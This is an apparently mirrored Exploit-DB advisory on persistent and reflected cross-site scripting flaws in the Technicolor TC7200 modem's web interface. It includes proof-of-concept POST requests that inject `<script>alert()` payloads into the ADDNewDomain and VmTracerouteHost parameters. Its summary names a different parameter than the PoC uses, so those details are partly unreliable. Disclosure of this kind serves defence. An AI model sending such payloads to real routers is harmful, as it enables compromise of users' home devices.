Technicolor TC7200 - Multiple XSS Vulnerabilities

vendor:

TC7200

by:

Jeroen - IT Nerdbox

7,5

CVSS

HIGH

Cross Site Scripting

CWE

Product Name: TC7200

Affected Version From: STD6.01.12

Affected Version To: STD6.01.12

Patch Exists: NO

Related CWE: CVE-2014-0620

CPE: h:technicolor:tc7200

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2013

Technicolor TC7200 – Multiple XSS Vulnerabilities

Multiple XSS vulnerabilities exist in Technicolor TC7200. A persistent XSS vulnerability exists in the 'WebFilteringdomainMode' parameter of the 'website-filters.asp' page, and a reflected XSS vulnerability exists in the 'VmTracerouteHost' parameter of the 'diagnostics-route' page. An attacker can exploit these vulnerabilities by sending a maliciously crafted request to the vulnerable page.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to update the application state in an unsafe way.

Source

Exploit-DB raw data:

# Exploit Title: Technicolor TC7200 - Multiple XSS Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0620
#
# Proof of Concept:
# 
# 
## Persistent Cross Site Scripting:
#  
# POST      : http://<ip>/parental/website-filters.asp
# Parameters: 
#  
# WebFilteringTable          0
# WebFilteringChangePolicies 0
# WebFiltersADDKeywords    
# WebFilteringdomainMode     0
# ADDNewDomain               <script>alert('IT Nerdbox');</script>
# WebFiltersKeywordButton    0
# WebFiltersDomainButton     1
# WebPolicyName    
# WebFiltersRemove           0
# WebFiltersADD              0
# WebFiltersReset            0
#
#
## Reflected Cross Site Scripting
#
# POST      : http://<ip>//goform/status/diagnostics-route
# Parameters: 
# 
# VmTracerouteHost    "><script>alert('IT  Nerdbox');</script>
# VmMaxTTL            30
# VmTrIsInProgress    0
# VmTrUtilityCommand  1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-xss-vulnerabilities/